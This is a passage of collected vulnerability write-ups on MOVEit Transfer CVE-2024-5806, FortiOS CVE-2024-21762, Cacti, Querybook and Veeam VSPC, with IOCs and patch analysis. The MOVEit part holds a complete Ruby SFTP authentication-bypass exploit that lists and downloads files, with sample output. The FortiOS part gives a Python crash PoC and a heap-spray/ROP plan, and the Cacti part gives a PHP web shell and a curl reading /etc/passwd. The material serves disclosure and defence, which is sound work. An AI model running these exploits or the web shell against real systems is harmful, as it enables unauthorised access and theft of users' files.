          publicKeyAuthResult.AuthResult = AuthResult.Success; // <--- [24]
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;

Exploitation

As we learnt from our analysis, we need to manipulate a client-side SSH public key authentication request to transmit an empty username during the first step in public key authentication, and then we need to set an arbitrary username when generating and transmitting a signature in response to a USERAUTH_PK_OK message from the server.

We will leverage the open-source Ruby SFTP implementation Net::SFTP to build our exploit. Net::SFTP is built on top of the open-source Ruby SSH implementation Net::SSH. We can easily install these libraries into our environment via Gem:

gem install net-ssh
gem install net-sftp

If we investigate the Net::SSH implementation of how public key authentication works, we can see the following:

# .\net-ssh-master\lib\net\ssh\authentication\methods\publickey.rb

module Net
  module SSH
    module Authentication
      module Methods
        # Implements the "publickey" SSH authentication method.
        class Publickey < Abstract

          def authenticate_with_alg(identity, next_service, username, alg, sig_alg = nil)
            debug { "trying publickey (#{identity.fingerprint}) alg #{alg}" }
            send_request(identity, username, next_service, alg) # <--- [1]

            message = session.next_message

            case message.type
            when USERAUTH_PK_OK
              buffer = build_request(identity, username, next_service, alg,
                                     true) # <--- [2]
              sig_data = Net::SSH::Buffer.new
              sig_data.write_string(session_id)
              sig_data.append(buffer.to_s)

              sig_blob = key_manager.sign(identity, sig_data, sig_alg)

              send_request(identity, username, next_service, alg, sig_blob.to_s) # <--- [3]

We can see above in the authenticate_with_alg function, the public key is first transmitted to the server at [1], and a username is supplied with this request. If the server responds with USERAUTH_PK_OK, then a request containing the session id (generated by the server during the initial key exchange) at [2], is first signed using the identity (the public-private key pair we want to authenticate with), before being transmitted to the server at [3] — again a username is specified here. As the signed data is verified server-side, the username supplied at both [2] and [3] must match, but we can specify a different username at [1].

We can therefore trigger the vulnerability by supplying an non-existent username at [1], and then supplying the username we want to authenticate as, via the authentication bypass vulnerability, in [2] and [3].

We can leverage Ruby’s ability to monkey-patch code, and implement the auth bypass as follows:

require 'net/ssh'
require 'net/sftp'
require 'optparse'

module Net
  module SSH
    module Authentication
      module Methods
        module PublickeyHax
          def build_request(pub_key, username, next_service, alg, has_sig)
            # We trigger the vuln, by first requesting 'publickey' authentication
            # and supplying a non-existent username. The server will think certificate
            # based authentication has been successful, and transmit a USERAUTH_PK_OK
            # response. We then answer the USERAUTH_PK_OK response with a signed
            # request for the username we want to authenticate as, and signed with an
            # arbitrary untrusted RSA key. This will succeed and we will have achieved
            # an authentication bypass. An SFTP session will now be established for
            # the username we specified.
            username = '' unless has_sig
            super
          end
        end

        class Publickey
          prepend PublickeyHax
        end
      end
    end
  end
end

We must use an RSA key to perform signing during public key authentication. This key can be any private RSA key generated by the attacker.

# Any RSA key will work, we generated a small 512 bit key here for testing.
some_rsa_key = %(
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAJoPI1Lg5U9ZB1cri1Ss6vhqecXAS5ZxJUxvUWRQXOjmUX1a3P93
oqqzS13uPSrPNBK2isNs/JcH1vltL1l9l18CAwEAAQJAZwD8Eyu+5eCWodfBXqoG
qHU4WdmKMFoSIBrFhpacqDJVyUIQ7zTeMCmxtHM98ksIysaHmBKnavanFTx3xLQZ
kQIhAPhi/F1DPJmTthAlLNSGy394bKrEy/f8WyeDKDqIXisjAiEAnsf+Lk8Sxgl4
fnRggVhHvTcl3E95U/sGsT0cRqlNVJUCIQDFcPHINM00Cx2bAeH74lZasmA28o5s
RrYy12gf9wxb3wIgK5hpt7lKREmRZdb6MElW2SLtKEJB48cGnV9UBiqx6skCIC6A
7l/EqY2clj6/NH2xO+PYVbk935g+Im1jamDGHaXV
-----END RSA PRIVATE KEY-----
)

We will define two helper methods — one to recursively list a directory’s contents, and another to download an arbitrary file:

def read_file(sftp, remote_path, local_path = nil)
  $stdout.puts "[+] Reading remote file: #{remote_path}"

  sftp.open(remote_path) do |response|
    if response.ok?

      file_size = sftp.fstat!(response[:handle]).size

      sftp.read(response[:handle], 0, file_size) do |response|
        if response.ok?
          if local_path
            $stdout.puts "[+] Writing local file: #{local_path}"
            File.open(local_path, 'wb+') do |f|
              f.write(response[:data])
            end
          else
            $stdout.puts (response[:data]).to_s
          end
        end
      end
    else
      warn '[-] SFTP open failed (Is the remote file path correct?).'
    end

    sftp.close(response[:handle])
  end
end

def recurser_dir(sftp, base = '/')
  sftp.dir.glob(base, '*') do |entry|
    $stdout.puts entry.longname.gsub(entry.name, "#{base}#{entry.name}").to_s

    recurser_dir(sftp, "#{base}#{entry.name}/") if entry.directory?
  end
end

We will add in a command-line option parser to take some inputs from the user:

options = {
  target: nil,
  port: 22,
  user: nil,
  read_file_path: nil,
  write_file_path: nil
}

OptionParser.new do |opts|
  opts.banner = "Usage: #{File.basename(__FILE__)} [options]"

  opts.on('-t', '--target VALUE', 'Target IP') do |v|
    options[:target] = v
  end

  opts.on('-p', '--port VALUE', 'Target Port') do |v|
    options[:port] = v.to_i
  end

  opts.on('-u', '--user VALUE', 'Username') do |v|
    options[:user] = v
  end

  opts.on('-r', '--read FILEPATH', 'Read a remote file') do |v|
    options[:read_file_path] = v
  end

  opts.on('-o', '--out FILEPATH', 'Write to local file') do |v|
    options[:write_file_path] = v
  end
end.parse!

if options[:target].nil? || options[:user].nil?
  warn 'You must specify a target IP (-t IP) and a user account (-u USER)'
  return
end

And finally, we can trigger the authentication bypass, which allows us to either list directories or download files, after we successfully authenticate.

$stdout.puts "[+] Targeting: #{options[:user]}@#{options[:target]}:#{options[:port]}"

Net::SFTP.start(
  options[:target],
  options[:user],
  {
    port: options[:port],
    key_data: [some_rsa_key]
  }
) do |sftp|
  if options[:read_file_path]
    read_file(sftp, options[:read_file_path], options[:write_file_path])
  else
    recurser_dir(sftp)
  end
end

puts '[+] Finished.'

Our target MOVEit Transfer server was installed with default settings applied. We created a normal user with a username of testuser1 and a complex password.

Using our exploit, we can target a vulnerable system and leverage the authentication bypass to authenticate as a user called testuser1.

We can then demonstrate exploiting the vulnerability to successfully list all the files in this user’s home directory, and then to download one of the files we listed, as shown below:

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1
[+] Targeting: testuser1@169.254.180.121:22
dr-xr-xr-x 1 0 0 0 Jun 18 18:41 /Home
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
[+] Finished.

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1 -r /Home/testuser1/test.txt
[+] Targeting: testuser1@169.254.180.121:22
[+] Reading remote file: /Home/testuser1/test.txt
secrets!
[+] Finished.

IOCs

Upon successful exploitation of CVE-2024-5806, the log file C:\MOVEitTransfer\Logs\SftpServer.log, with the default log-level setting of Connect Messages, will contain an entry that looks like this:

2024-06-19 14:14:28.434 #0A z30 <0> (229369681687209268389) Log message from server: Received request for service ssh-userauth.
2024-06-19 14:14:28.449 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.469 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.474 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:14:28.500 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.502 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user testuser1; continuing with user authentication process
2024-06-19 14:14:28.521 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Authentication successful

We can see above that the log contains the message:

User '' was denied authentication

Indicating an empty username was supplied, before the message:

Client key validation successful but password is also required

Which indicates the public key check was bypassed as a result of an non-existent username being supplied. And then:

already authenticated for user testuser1

Which indicated the attacker is leveraging the auth bypass to authenticate as a legitimate user, and then finally:

Authentication successful

Which indicates the attacker successfully exploited CVE-2024-5806 and authenticated as the user testuser1. No IP address for the attacker is logged.

Follow-on activity from the attacker will be logged and associated with the same SSH channel that was used during the auth bypass (229369681687209268389 in the example above). For example:

2024-06-19 14:14:28.543 #1C z30 <0> (229369681687209268389) Log message from server: Received open channel request for session service.
2024-06-19 14:14:28.558 #1C z30 <0> (229369681687209268389) Log message from server: Received channel request for subsystem sftp.
2024-06-19 14:14:28.574 #1C z30 <0> (229369681687209268389) Log message from server: Negotiated SFTP protocol draft version: 3
2024-06-19 14:14:28.590 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileOpenEventArgs ------
2024-06-19 14:14:28.605 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverGetAttributesEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileReadEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileCloseEventArgs ------
2024-06-19 14:14:28.636 #1C z30 <0> (229369681687209268389) FileCloseRequestHandler: Successfully completed download of file /Home/testuser1/test.txt
2024-06-19 14:14:28.683 #1C z30 <0> (229369681687209268389) Log message from server: SSH channel [229369681687209268389.0] closed.
2024-06-19 14:14:28.746 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverDisconnectedEventArgs ------

Indicates the attacker downloaded the file /Home/testuser1/test.txt.

An example of a failed auth bypass attempt is as follows. In this example an attacker attempted to use the auth bypass vulnerability to authenticate as the sysadmin user. However, this user has an “Remote Access Rule” in place to deny authentication from external IP addresses, causing the check at SILCurrentUser.AllowedAtHost to fail, preventing the auth bypass from working.

2024-06-19 14:21:17.792 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.808 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.814 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:21:17.829 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.831 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user sysadmin; continuing with user authentication process
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User 'sysadmin' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user sysadmin
2024-06-19 14:21:17.845 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key authentication failed
2024-06-19 14:21:17.855 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.857 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User '' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user 
2024-06-19 14:21:17.872 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation failed
2024-06-19 14:21:22.048 #19 z30 <0> (187224641687209677712) ------ Handling event type SftpserverDisconnectedEventArgs ------
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server
2024-06-19 14:21:22.064 #17 z30 <0> Log message from server: SSH handshake failed: Encountered error while waiting for packet: remote end disconnected.
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server

For a failed exploitation attempt, the attacker IP address was logged.

Remediation

As indicated in the vendor advisory, the following versions of MOVEit Transfer remediate CVE-2024-5806:

  • MOVEit Transfer 2023.0.11
  • MOVEit Transfer 2023.1.6
  • MOVEit Transfer 2024.0.2

Customers are urged to apply the vendor supplied update on an emergency basis.

References

3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very Low
Technical Analysis

Attacker Value & Exploitability

CVE-2024-21762 is a memory corruption vulnerability that affects a very wide range of FortiNet Firewalls. However it is difficult to exploit and is likely that every affected version will require its own unique offsets, ROP chain etc. in order to be exploited successfully. Patching should be prioritized as these devices sit on the edge of the network however widespread exploitation across all versions is quite unlikely. Due to these factors I’d say the attacker value is a 3/5 as financially motivated sophisticated threat actors could still benefit from this exploit although the exploitability I would say is quite low, 1/5, given the complexities that come along with a memory corruption vulnerability such as this one.

Technical Analysis

FortiOS and FortiProxy with the SSL VPN feature enabled (which is not enabled by default) are vulnerable to an out-of-bound write vulnerability which can allow an unauthenticated attacker to execute arbitrary code by sending specially crafted HTTP requests. The affected versions are:

Version Affected Solution
FortiOS 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiOS 7.2 7.2.0 through 7.2.6 Upgrade to 7.2.7 or above
FortiOS 7.0 7.0.0 through 7.0.13 Upgrade to 7.0.14 or above
FortiOS 6.4 6.4.0 through 6.4.14 Upgrade to 6.4.15 or above
FortiOS 6.2 6.2.0 through 6.2.15 Upgrade to 6.2.16 or above
FortiOS 6.0 6.0.0 through 6.0.17 Upgrade to 6.0.18 or above
FortiProxy 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiProxy 7.2 7.2.0 through 7.2.8 Upgrade to 7.2.9 or above
FortiProxy 7.0 7.0.0 through 7.0.14 Upgrade to 7.0.15 or above
FortiProxy 2.0 2.0.0 through 2.0.13 Upgrade to 2.0.14 or above
FortiProxy 1.2 1.2 all versions Migrate to a fixed release
FortiProxy 1.1 1.1 all versions Migrate to a fixed release
FortiProxy 1.0 1.0 all versions Migrate to a fixed release

The vulnerability stems from how the request body is parsed when the header Transfer-Encoding: Chunked is set. The vulnerability in itself is quite limited – all it allows for is the ability to write two bytes (\r\n) out of bounds onto the stack. Since all you have to work with is two bytes which have to be 0a0d achieving RCE by directly hijacking rip is not an option and so one must focus on the memory pointers saved on the stack.

Below is a simple PoC which can be used to trigger the vulnerability and cause a segmentation fault:

import socket
import ssl

def create_ssock(hostname, port):
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        ssock = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=hostname)
        ssock.connect((hostname, port))
        return ssock
    except Exception as e:
        print(f"Error creating secure socket: {e}")
        return None

hostname = '192.168.1.50'  # Replace with your target hostname
port = 443  # Replace with your target port if different

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
if ssock:
    ssock.send(pkt)
    response = ssock.recv(4096)
    print(response)
else:
    print("Failed to create a secure socket.")

The above crash PoC will result in the following segmentation fault:

We can see that the stack pointer has been overwritten by our two bytes 0x0a0d. Turning this seemingly harmless out of bounds write into RCE is no easy process.

By decompiling the binaries of the SSL VPN you can see that a certain function of interest saves the values of r13 and a few other registers on the stack and restores them when the function returns. r13 is of particular interest because it holds a structure pointer to a structure called a1 which happens to hold an address on the heap.

The goal here is to spray the heap with our desired payload. Then trigger the out of bounds write vulnerability when the heap address is stored in r13 such that the low byte of the a1 pointer is overwritten and if all goes to plan, will point to the pre-arranged memory as the shown below:

With this we could reliably redirect the r13 pointer to a buffer we control. Now we just have to fill the buffer with our payload and we should have remote code execution.

Once the above is successfully set up and the memory pointed to is controllable the hard part is done. Normally at this point you would use the system function to execute commands. However in FortiGate this is not an option – the system function cannot be used as the system function runs /bin/sh and the /bin/sh binary on the FortiGate device is a custom application which only runs a few commands.

So if we look back to a previous FortiGate vulnerability from last year CVE-2023-27997 (a similar memory corruption vulnerability in the SSL VPN component) and a number of others FortiGate exploits, they often overwrite a function pointer in an SSL struct which can be triggered by a call to SSL_do_handshake.

Since SSL_do_handshake is dynamically linked we can call it ourselves. We control the first argument and just have to create an SSL struct with the function pointer where we need it.

Once the struct is set up we can load an address from our buffer and now we have direct execution to an arbitrary address. Now all that’s left to do is to construct a ROP chain that will set up and call execl with the same Node.js reverse shell as the last FortiGate exploit. Lucky for exploit devs the FortiGate main program is an all in one binary with a size of over 70MB which provides a plethora of gadgets which can be used.

There is a lot more that goes into ensuring that this process is successful and if you’re interested in exactly how it works I would suggest reading the following wonderfully written blog post.

2
Ratings
Technical Analysis

Entered URL through Draft.js entity data (props.contentState.getEntity(props.entityKey).getData()) in querybook/webapp/lib/richtext/ index.tsx (line 13) misses validation of URL schema using Safelist (‘http:’, ‘https:’), resulting in client-side XSS at <Link to={url} newTab> (line 15), enabling ACE when exploited.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Cacti versions prior to 1.2.27 are vulnerable to arbitrary file write that could lead to RCE. This requires authentication and the account needs the Template Editor permission to exploit this vulnerability.

Exploit

Once authenticated, the attacker just needs to import the following XML package, with the desired payload previously base64 encoded.

<xml>
   <files>
      <file>
         <name>resource/payload.php</name>
         <data>...base64 encoded payload…</data>
         <filesignature>...base64 encoded signature of the payload file</filesignature>
      </file>
   </files>
   <publickey>...base64 encoded public key...</publickey>
   <signature>...base64 encoded signature of this package XML file…</signature>
</xml>

Note that the signatures of the payload and the XML file are RSA-based signatures with SHA-256.

The entire XML has to be Gzipped before being sent through the Import/Export > Import Packages page. This results in having our PHP payload file being extracted to the resource/ directory, which is accessible externally at http://<catci host>/<cacti root path>/resource/payload.php.

One typical payload to achieve code execution would be:

<?php system($_GET['cmd']); ?>

which can be triggered by sending the following request:

❯ curl "http://127.0.0.1:8080/cacti/resource/payload.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Analysis

The following code snippet from the import_package() function in lib/import.php is responsible for handling the import of the XML package:

 517         foreach ($data['files']['file'] as $f) {
 518                 $fdata = base64_decode($f['data']);
 519                 $name = $f['name'];
 520
 521                 if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
 522                         $filename = $config['base_path'] . "/$name";
 523
 524                         if (!$preview) {
 525                                 if (!cacti_sizeof($import_files) || in_array($name, $import_files)) {
 526                                         cacti_log('Writing file: ' . $filename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
 527
 528                                         if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
 529                                                 $file = fopen($filename, 'wb');
 530
 531                                                 if (is_resource($file)) {
 532                                                         fwrite($file , $fdata, strlen($fdata));
 533                                                         fclose($file);
 534                                                         clearstatcache();
 535                                                         $filestatus[$filename] = __('written');
 536                                                 } else {

The data is decoded line 518 and written to file on line 532. The filename is retrieved from the name field line 519 and must include 'scripts/ or resource/ (line 521). The final destination path is constructed line 522. Since the scripts/ directory is not accessible externally, having our payload in the resource/ directory is the preferred option.

Note that there is no protection against path traversal and it should be possible to set the file name to something like resource/../../../../../../../<path from the root>/payload and write the payload anywhere on the filesystem, as long as the user running Cacti has the right permissions.

IoC

The original PoC and the Metasploit module sends a minimum XML package and many optional fields are missing. This generates a series of entries in the main Cacti log (<cacti installation path>/log/cacti.log). These can be a good indicator the exploit has been executed.

2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[195]:import_package(), /lib/import.php[607]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: info in file: /var/www/html/cacti/lib/import.php  on line: 341
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[451]:import_package_get_details(), /lib/import.php[341]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: author in file: /var/www/html/cacti/package_import.php  on line: 481
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[481]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: homepage in file: /var/www/html/cacti/package_import.php  on line: 482
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[482]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: email in file: /var/www/html/cacti/package_import.php  on line: 483
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[483]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: copyright in file: /var/www/html/cacti/package_import.php  on line: 490
3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

This deserialization vulnerability piqued my interest after I saw it had received a “patch reissue” a couple of weeks after it was initially patched. I was curious whether the secondary patch was necessary or more of a prophylactic measure. Due to time and software limitations, this assessment doesn’t include PoC and is mostly based on static analysis; the primary goal of this is to provide more information about the risk of the vulnerability, as well as to document some information I’ve learned about the suite for researchers.

Software Overview

CVE-2024-29212 targets Veeam Service Provider Console (“VSPC”), which is a rather niche product. From what I’ve learned, it’s exclusively meant for managed service providers that resell Veeam “backups as a service”. Despite not managing the Veeam infrastructure themselves, clients of these service providers still prefer having their own dashboard for backups. In that scenario, the service provider would set up VSPC and its bundled Web UI as an interface for those customers to manage backups and transmit their data to the centralized server.

VSPC itself, which is predominantly written in C# .NET, is fairly complex, with many different services and communication channels. The ecosystem is primarily hosted by the service provider, and agent software continuously runs on the customer’s managed systems. As shown in the diagram linked above, the client agent connects to the Veeam Cloud Gateway intermediary service via TCP port 6180. In turn, the Gateway service communicates this data to the Veeam Service Provider Console Server (“VSPC Server”) over port 9999. VSPC Server also receives TCP data on port 1989 from the dedicated Web UI service back end, and the front-facing Web UI service listens on port 1280.

Exploitation Potential

The public attack surface for this specialized Veeam product appears to be minimal, based on Shodan queries; less than 100 VSPC Web UI servers were observed to be public-facing at the time of research. The vulnerability itself is also noted to be authenticated, which further lessens the likelihood of exploitation. Analysis appears to indicate that an attacker would need to acquire agent credentials from a managed system’s client to target the service provider’s VSPC system with a serialized payload. As a result, and considering the fact that this vulnerability was patched a few months back, CVE-2024-29212 appears to be at lower risk of widespread exploitation.

Patch Analysis

The most obvious security-related changes in the first patch are in a SerializationBinder class, BinarySerializerVulnerabilityFilter, within the BindToType method. This method is called during deserialization, and it sources the resulting object’s type from the data passed to it. The unpatched code is shown below. It includes a security check that throws an exception if the target assembly is a forbidden type AND the assembly name does not contain the string “Veeam”.

	public override Type BindToType(string assemblyName, string typeName)
	{
		int num = typeName.IndexOf(",", StringComparison.Ordinal);
		if (num > 0)
		{
			typeName = typeName.Substring(0, num);
		}
		if (!assemblyName.ContainsIgnoreCase("Veeam") && _forbiddenTypes.Any((string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type " + typeName + " is prohibited.");
		}
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

The _forbiddenTypes list, which was not changed, is as follows:
"AxHost+State", "DelegateSerializationHolder", "DataSet", "PSObject", "ResourceSet", "RolePrincipal", "SessionSecurityToken", "SessionViewStateHistoryItem", TextFormattingRunProperties", "WindowsClaimsIdentity", "WindowsIdentity", "ClaimsIdentity", "DataTable", "ObjRef", "ToolboxItemContainer".

The first of the two patches improved BindToType to remove the “Veeam” string allowlisting. This, and the lack of new forbidden entries, seems to indicate that the string “Veeam” is leveraged by the exploit’s serialized payload to take advantage of the string exclusion. There’s also a call to Type.GetType, though it’s unclear what purpose it serves in the initial patch.

	public override Type BindToType(string assemblyName, string typeName)
	{
		int num = typeName.IndexOf(",", StringComparison.Ordinal);
		if (num > 0)
		{
			typeName = typeName.Substring(0, num);
		}
		if (Array.Exists(_forbiddenTypes, (string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type " + typeName + " is prohibited.");
		}
		Type.GetType(typeName + ", " + assemblyName);
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

Next, we’ll take a look at the content of the “patch reissue”. In this example, Type.GetType is now used by the fullName variable, which is then used to check more comprehensively for forbidden types. This improved function also verifies that fullName is not null. Notably, the exception being thrown also now includes a debugging message that prints how typeName was parsed. This seems to indicate that the first patch may have been bypassed by confusing the parser.

	public override Type BindToType(string assemblyName, string typeName)
	{
		string fullName = Type.GetType(typeName + ", " + assemblyName)?.FullName;
		if (fullName == null || Array.Exists(_forbiddenTypes, (string t) => fullName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type '" + typeName + "' (parsed as '" + fullName + "') is prohibited.");
		}
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

Based on the content of the secondary patch, it seems likely it was implemented in response to a patch bypass, not just to use Type.GetType and harden the application. The excellent CODE WHITE research linked above outlines some .NET type parsing quirks when using serialization binders, which is probably the kind of thing this patch is trying to harden against.

The filter outlined above is referenced only by Veeam.MBP.AgentManager\Veeam.AC.AgentManagement\ReceiverWrapper.cs, where it’s used within SetupSerializationBinder and scoped for ChannelHostReceiver and MultiplexedStreamReceiver receiver types.

private void SetupSerializationBinder(ChannelHostReceiver receiver)
{
	if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer)
	{
		netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder);
	}
}

private void SetupSerializationBinder(MultiplexedStreamReceiver receiver)
{
	if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer)
	{
		netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder);
	}
}

The first patch also included a handful of changes in various areas of the code base that return early if entity nodes of the type BackupObject are encountered. For example, within Veeam.MBP.EntityImpl\Veeam.MBP.EntityImpl.EntityExtension\DataModelEntityExtension.cs, the application now checks if entities are of the type BackupObject before updating and adding child nodes.

	public static void UpdateTraverse<T>(this T entity, T newEntity) where T : EntityDataModelDbNode
	{
+		if (entity is BackupObject)
+		{
+			return;
+		}
		if (entity == null)
		{
			throw new ArgumentNullException("entity");
		}
		try
		{
			UpdateCurrentNode(entity, newEntity);
			AddOrUpdateChildNodes(entity, newEntity);
		}
		catch (Exception e)
		{
			Log.Error(e);
			throw;
		}
	}

[..]

	private static void AddOrUpdateChildNodes<T>(T oldEntity, T newEntity) where T : EntityDataModelDbNode
	{
		List<BaseEntity> childEntitiesClone = newEntity.ChildEntitiesClone;
		IDictionary<string, EntityDataModelDbNode> dictionary = childEntitiesClone.OfType<EntityDataModelDbNode>().DistinctBySystemNameToDictionary();
		foreach (EntityDataModelDbNode oldChild in oldEntity.ChildEntitiesClone.OfType<EntityDataModelDbNode>())
		{
+			if (oldChild is BackupObject)
+			{
+				continue;
+			}
			if (dictionary.TryGetValue(oldChild.SystemName, out var value))
			{
				dictionary.Remove(oldChild.SystemName);
				oldChild.UpdateTraverse(value);
				continue;
			}
			bool alwaysAlive = oldChild.GetTypeSystemName().AlwaysAlive;
